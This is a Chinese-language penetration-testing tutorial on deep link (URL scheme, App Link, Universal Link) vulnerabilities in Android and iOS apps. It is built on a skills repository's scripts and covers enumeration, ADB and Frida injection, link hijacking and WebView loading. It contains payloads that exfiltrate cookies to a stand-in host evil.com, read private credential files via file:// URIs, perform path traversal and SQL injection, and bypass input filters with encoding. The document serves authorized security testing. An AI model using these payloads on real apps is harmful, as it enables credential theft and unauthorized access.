Anthropic-Cybersecurity-Skills 实战：移动应用 Deep Link（URL Scheme / App Link）漏洞测试与利用指南

Anthropic-Cybersecurity-Skills 实战：移动应用 Deep Link（URL Scheme / App Link）漏洞测试与利用指南

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本文是 Anthropic-Cybersecurity-Skills 仓库中exploiting-deeplink-vulnerabilities技能（SKILL.md）的深度展开。它围绕 Android 与 iOS 移动应用的 Deep Link（自定义 URL Scheme、Android App Links、iOS Universal Links）攻击面，给出从入口枚举、注入测试、链路劫持到 WebView 加载与参数校验的完整渗透流程。读完本文，你将掌握用 ADB、Drozer、apktool、Frida、Burp Suite 等手段对移动应用深层链接进行授权测试的实战能力，并能结合仓库附带的 Python 自动化扫描脚本（agent.py、process.py）批量提取与验证 Deep Link 入口。

一、背景：为什么 Deep Link 是移动应用的关键攻击面

Deep Link（深层链接）是移动应用通过自定义 URL 协议（如myapp://）或经过验证的 HTTPS 链接（Android App Links / iOS Universal Links）唤起并路由到特定页面或处理器的机制。它承担着分享、支付跳转、OAuth 回调、短信/邮件唤起等大量关键业务入口，因此也成为攻击者最常利用的移动端攻击面之一：

• 未授权访问：深层链接可能直接唤起敏感页面（如myapp://admin）；
• 数据注入：链接参数若未校验，可注入 SQL、XSS、路径穿越、SSRF 载荷；
• Intent 劫持（Intent Hijacking）：恶意 App 注册相同 scheme，拦截本应发给目标应用的链接；
• 重定向操纵（Redirect Manipulation）：开放重定向导致凭证或 token 外泄。

在 OWASP 视角下，这一问题可映射到多个权威标准（详见 standards.md）：

本技能在仓库中归类于mobile-security领域，与 NIST CSF 的PR.PS-01、PR.AA-05、ID.RA-01、DE.CM-09控制项对应，可见它同时服务于渗透测试、风险评估与检测监控三类场景。

二、前置条件与工具链

在使用本技能前，需要准备好以下环境：

• Android：一台已启用 ADB 调试的设备或模拟器；
• iOS：越狱设备或已安装 Objection / Frida 的环境；
• 反编译产物：用apktool或 JADX 反编译 APK，重点分析AndroidManifest.xml；
• Drozer：用于 Android Intent 攻击面测试；
• Burp Suite：用于拦截 Deep Link 触发的 API 调用，观察参数落地情况。

工具分工可参考 SKILL.md 的 Tools & Systems 部分：ADB 负责通过am start唤起链接，Drozer 测试 Intent 攻击面，apktool 提取 Manifest 与 intent-filter 定义，Frida 在运行时 hook URL scheme 处理器，Burp Suite 则代理 Deep Link 触发的后端 API 流量。

授权声明：Deep Link 利用可能触发目标应用中的意外动作，严禁在未获授权的情况下使用本技能。所有测试应在授权范围内进行。

三、Step 1：枚举 Deep Link 入口点

测试的第一步是完整摸清应用注册了哪些 Deep Link。Android 与 iOS 的入口定义位置不同，需要分别提取。

3.1 Android：从 AndroidManifest.xml 提取

# 反编译 APK apktool d target.apk -o decompiled/ # 搜索包含 VIEW action 的 intent-filter 及深层链接 scheme grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

重点关注以下两类<data>声明：

<!-- 自定义 scheme --> <data android:scheme="myapp" android:host="action" /> <!-- 基于 HTTPS 的 App Links --> <data android:scheme="https" android:host="target.com" />

3.2 iOS：从 Info.plist 提取

# 提取自定义 URL schemes plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes" # 提取 Universal Links（Associated Domains） plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains" # 检查输出中是否存在: applinks:target.com # 验证 apple-app-site-association 文件是否可访问且配置正确 curl https://target.com/.well-known/apple-app-site-association

对应的配置侧证据可以在 api-reference.md 中找到。Android 侧一个典型的可被外部唤起（exported="true"）的 Deep Link Activity 定义如下：

<activity android:name=".DeepLinkActivity" android:exported="true"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="myapp" android:host="open"/> </intent-filter> </activity>

iOS 侧对应的CFBundleURLTypes配置为：

<key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>myapp</string> </array> </dict> </array>

而 Universal Links 的域声明校验依赖服务端下发的apple-app-site-associationJSON：

{ "applinks": { "apps": [], "details": [{ "appID": "TEAM_ID.com.example.app", "paths": ["/open/*", "/product/*"] }] } }

3.3 自动化枚举：仓库脚本的底层实现

手工grep适合快速摸底，但要系统化枚举，可直接复用仓库提供的 Python 脚本。process.py使用xml.etree.ElementTree遍历 Manifest 中所有<activity>的 intent-filter，提取scheme、host、path/pathPrefix/pathPattern、exported与browsable标记，并拼装出可测试的 URL（见 process.py）。

agent.py则采用正则方式解析，其风险判定逻辑值得注意（agent.py）：

"exported": exported, "block": block[:200], "risk": "HIGH" if exported and scheme not in ("https", "http") else "MEDIUM",

即：自定义 scheme + 导出 Activity = HIGH 风险，而基于https的 App Links 至少降为 MEDIUM。这与决策矩阵的思路一致：自定义 scheme 天然可被任意应用注册，劫持风险高；经过域验证的链接则风险低。

运行方式：

# 从 Manifest 提取 Deep Link 并生成测试命令与 JSON 报告 python3 scripts/process.py --manifest AndroidManifest.xml --package com.target.app --output deeplink_report.json # 或者使用 agent.py：解析 Manifest / Info.plist 并测试注入载荷 python3 scripts/agent.py --android-manifest AndroidManifest.xml --ios-plist Info.plist \ --test-scheme myapp --test-host open --output report.json

四、Step 2：测试 Deep Link 注入

枚举出入口后，针对每个 Deep Link 构造载荷，验证应用是否对参数做了充分校验。攻击向量涵盖开放重定向、路径穿越、WebView 中的 JavaScript 执行以及额外 Intent 参数注入。

4.1 Android：通过 ADB 唤起与注入

# 基本唤起 adb shell am start -a android.intent.action.VIEW \ -d "myapp://dashboard?user_id=1337" com.target.app # 开放重定向注入 adb shell am start -a android.intent.action.VIEW \ -d "myapp://profile?redirect=https://evil.com" com.target.app # 路径穿越 adb shell am start -a android.intent.action.VIEW \ -d "myapp://navigate?path=../../../admin" com.target.app # JavaScript 注入（若目标在 WebView 中加载） adb shell am start -a android.intent.action.VIEW \ -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app # 额外 Intent 参数注入 adb shell am start -a android.intent.action.VIEW \ -d "myapp://transfer?amount=1000&to=attacker" \ --es extra_param "injected_value" com.target.app

若希望确认 Activity 是否被成功拉起，可加上-W参数等待启动结果，这也是 api-reference.md 中推荐的带等待形式：

adb shell am start -W -a android.intent.action.VIEW \ -d "myapp://open/path?param=value" com.target.app

agent.py中check_adb_deep_link()封装了同样的调用（adb shell am start -W -a android.intent.action.VIEW -d <uri> <package>），并捕获 15 秒超时与命令失败，可据此判断目标 scheme/host 是否真实存在（agent.py）。

另外，Android 还支持通过intent://语法在浏览器中构造带包约束的 Intent URI：

intent://path#Intent;scheme=myapp;package=com.target.app;end

4.2 iOS：通过 Safari 与 Frida 触发

# 从 Safari 导航即可触发 # 在浏览器地址栏访问: myapp://dashboard?user_id=1337 # 使用 Frida 在运行时唤起 URL frida -U -n TargetApp -e ' ObjC.classes.UIApplication.sharedApplication() .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com")); '

更高级的做法是用 Frida 直接 hook URL 处理器，观察应用收到链接后的实际行为。api-reference.md 给出了 Android 与 iOS 两个 hook 示例：

Android — hookonNewIntent捕获 Deep Link：

Java.perform(function() { var Activity = Java.use("android.app.Activity"); Activity.onNewIntent.implementation = function(intent) { console.log("Deep link: " + intent.getData().toString()); this.onNewIntent(intent); }; });

iOS — hookapplication:openURL:options:捕获 URL scheme：

var handler = ObjC.classes.AppDelegate["- application:openURL:options:"]; Interceptor.attach(handler.implementation, { onEnter: function(args) { var url = ObjC.Object(args[3]); console.log("URL scheme: " + url.toString()); } });

这类 hook 的价值在于：仅靠静态看 Manifest/Info.plist 无法确定参数最终流向哪个处理器，运行时观测可以确认链接是否真的被消费、参数是否被透传到后端或 WebView。

4.3 常用注入载荷速查

api-reference.md 与agent.py内置载荷可归纳为四类：

# 开放重定向 myapp://open?redirect=https://evil.com myapp://open?url=javascript:alert(document.cookie) # WebView 中的 JavaScript 执行 myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie) # 参数注入（凭证/token 窃取 + 回调外传） myapp://auth?token=stolen&callback=https://evil.com # 路径穿越与 SQL 注入（process.py 内置） /../../../etc/passwd ?id=1' OR '1'='1

五、Step 3：测试链接劫持（Link Hijacking）

自定义 scheme 的天然缺陷在于任何应用都可以声明同一个 scheme。若目标应用未启用验证机制，攻击者即可通过注册同名 scheme 实现链接劫持。

5.1 Android 侧的劫持测试

构造一个恶意应用，在其AndroidManifest.xml中注册与目标相同的 scheme：

<intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="myapp" /> </intent-filter>

当两个应用同时安装时：

• Android 会弹出 chooser 对话框让用户选择由哪个应用处理；
• 在较旧的 Android 版本上，先安装的应用可能直接接管该链接，这就是劫持攻击的入口。

随后检查目标应用的 App Links 验证状态：

adb shell pm get-app-links com.target.app # 输出 Status: verified = 已通过域验证，安全 # 输出 Status: undefined = 未验证，存在被劫持风险

5.2 决策矩阵：不同 scheme 类型的风险差异

workflows.md 给出了清晰的风险分级：

与之对应，process.py的assess_deep_link_security()也实现了三条自动判定规则（process.py）：

1. 自定义 scheme 可劫持（custom_scheme_hijackable，HIGH）：非 http/https 的 scheme 可被任意应用注册；
2. 路径匹配过宽（broad_path_matching，MEDIUM）：Activity 为exported="true"且 path 为空（匹配所有路径），攻击面过大；
3. 可浏览的自定义 scheme（browsable_custom_scheme，MEDIUM）：带BROWSABLE类别、又非 http/https 的 scheme 可被浏览器直接唤起，扩大受攻击范围。

这条判定逻辑完全可由代码自动产出，是手工测试的重要补充。

六、Step 4：测试 WebView Deep Link 加载

如果 Deep Link 的参数最终被传入 WebView 加载，将放大为高危场景——攻击者等于拿到了一个"任意 URL 加载器"：

# 1. 开放重定向 adb shell am start -d "myapp://open?url=https://evil.com" com.target.app # 2. 文件访问（读取应用私有数据） adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml" com.target.app # 3. WebView 中的 JavaScript 执行（窃取 cookie） adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)" com.target.app

对应到 api-reference.md 的漏洞风险分级表：

其中file://读取与javascript:执行组合，本质上是把 Deep Link 变成了通往 WebView Bridge（SKILL.md 中 Key Concepts 提到的 JavaScript 接口）的入口。若 WebView 还开启了setJavaScriptEnabled(true)并暴露了 Bridge 方法，攻击链将直接升级为任意方法调用。

七、Step 5：评估参数校验强度

对每个 Deep Link 参数逐一测试以下注入类型：

• SQL 注入：针对查询本地数据库（SQLite）的参数；
• 路径穿越：针对文件路径类参数；
• SSRF：针对会触发服务端请求的 URL 参数；
• 认证绕过：针对user_id、session等身份相关参数——若应用直接信任链接携带的用户标识而忽略服务端会话校验，即可实现横向越权。

process.py的generate_test_commands()会对每个已发现链接自动生成四类注入测试命令（重定向、XSS、路径穿越、SQL 注入），大幅降低手工构造的工作量（process.py）。

八、常见陷阱与绕过技巧

以下是 SKILL.md 明确提示、实战中最容易踩坑的几点：

• App Links 验证状态：Android App Links 若域关联验证通过，则对劫持免疫。验证方法是检查https://domain/.well-known/assetlinks.json是否存在且声明了正确的包名与 SHA-256 指纹。iOS 侧则检查对应域的apple-app-site-association。
• Fragment 与 Query 的处理差异：部分应用对 URL 中的#（fragment）与?（query）处理逻辑不同，两种形式都要测。
• 编码绕过：对载荷进行 URL 编码，绕过 Deep Link 处理器中的客户端输入过滤（如将?redirect=https%3A%2F%2Fevil.com作为参数传递）。
• 多步 Deep Link：部分链接依赖登录态，需要登录前后各测一次，以判断授权控制是否生效——很多应用只在未登录时校验权限，登录后反而放开。

九、将结果沉淀为报告

仓库为结果输出提供了标准化的报告模板（template.md），包含四大部分：

1. 目标应用信息：应用名、包名/Bundle ID、平台、发现的 Deep Link 数量、测试日期；
2. Deep Link 清单：Scheme / Host / Path / Activity（Handler）/ 是否导出 / 是否可被浏览器唤起；
3. 漏洞发现：每条发现包含严重级别、触发链接、问题描述、复现命令与输出（Evidence）、修复建议；
4. 修复建议清单。

同时，workflows.md 给出了完整的测试工作流，可作为测试执行时的流程检查清单：

[提取 Manifest/Plist] --> [枚举 schemes] --> [测试每个 Deep Link] | +--------------+--------------+ | | | [参数注入] [重定向测试] [WebView 加载] [SQL/XSS/路径穿越] [开放重定向] [JS 注入] | | | +--------------+--------------+ | [链接劫持测试] [App Links 验证] [报告发现]

自动化场景下，agent.py会输出带时间戳的 JSON 报告（timestamp、findings、risk_level），并可写为文件；process.py生成的报告则包含scan（Manifest 路径、包名、日期）、deep_links、findings、test_commands与summary五个字段，方便直接接入 CI 或漏洞管理平台。

十、小结：从手工测试到自动化验证

Deep Link 漏洞的根因可以概括为一句话：应用把外部可控的链接内容当成了可信输入。本文的测试路径——入口枚举 → 注入测试 → 链接劫持 → WebView 加载 → 参数校验——正是围绕这一根因系统展开的攻击面验证方法论。

在实际项目中，建议将本技能与仓库提供的两个脚本结合使用：

# 1. 静态提取 + 风险评估（无需设备） python3 skills/exploiting-deeplink-vulnerabilities/scripts/process.py \ --manifest decompiled/AndroidManifest.xml \ --package com.target.app \ --output deeplink_report.json # 2. 动态验证 + 载荷测试（需要设备） python3 skills/exploiting-deeplink-vulnerabilities/scripts/agent.py \ --android-manifest decompiled/AndroidManifest.xml \ --test-scheme myapp --test-host open

先由脚本完成"面"的覆盖（找出全部入口与风险项），再针对 HIGH 项用 ADB / Frida 做"点"的深入验证，最后用模板化报告归档证据——这样即可形成一条从枚举、验证到报告的完整 Deep Link 安全测试闭环。

再次提醒：所有 Deep Link 利用测试都必须在获得明确授权的前提下进行，切勿针对未授权目标执行本文中的任何命令。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills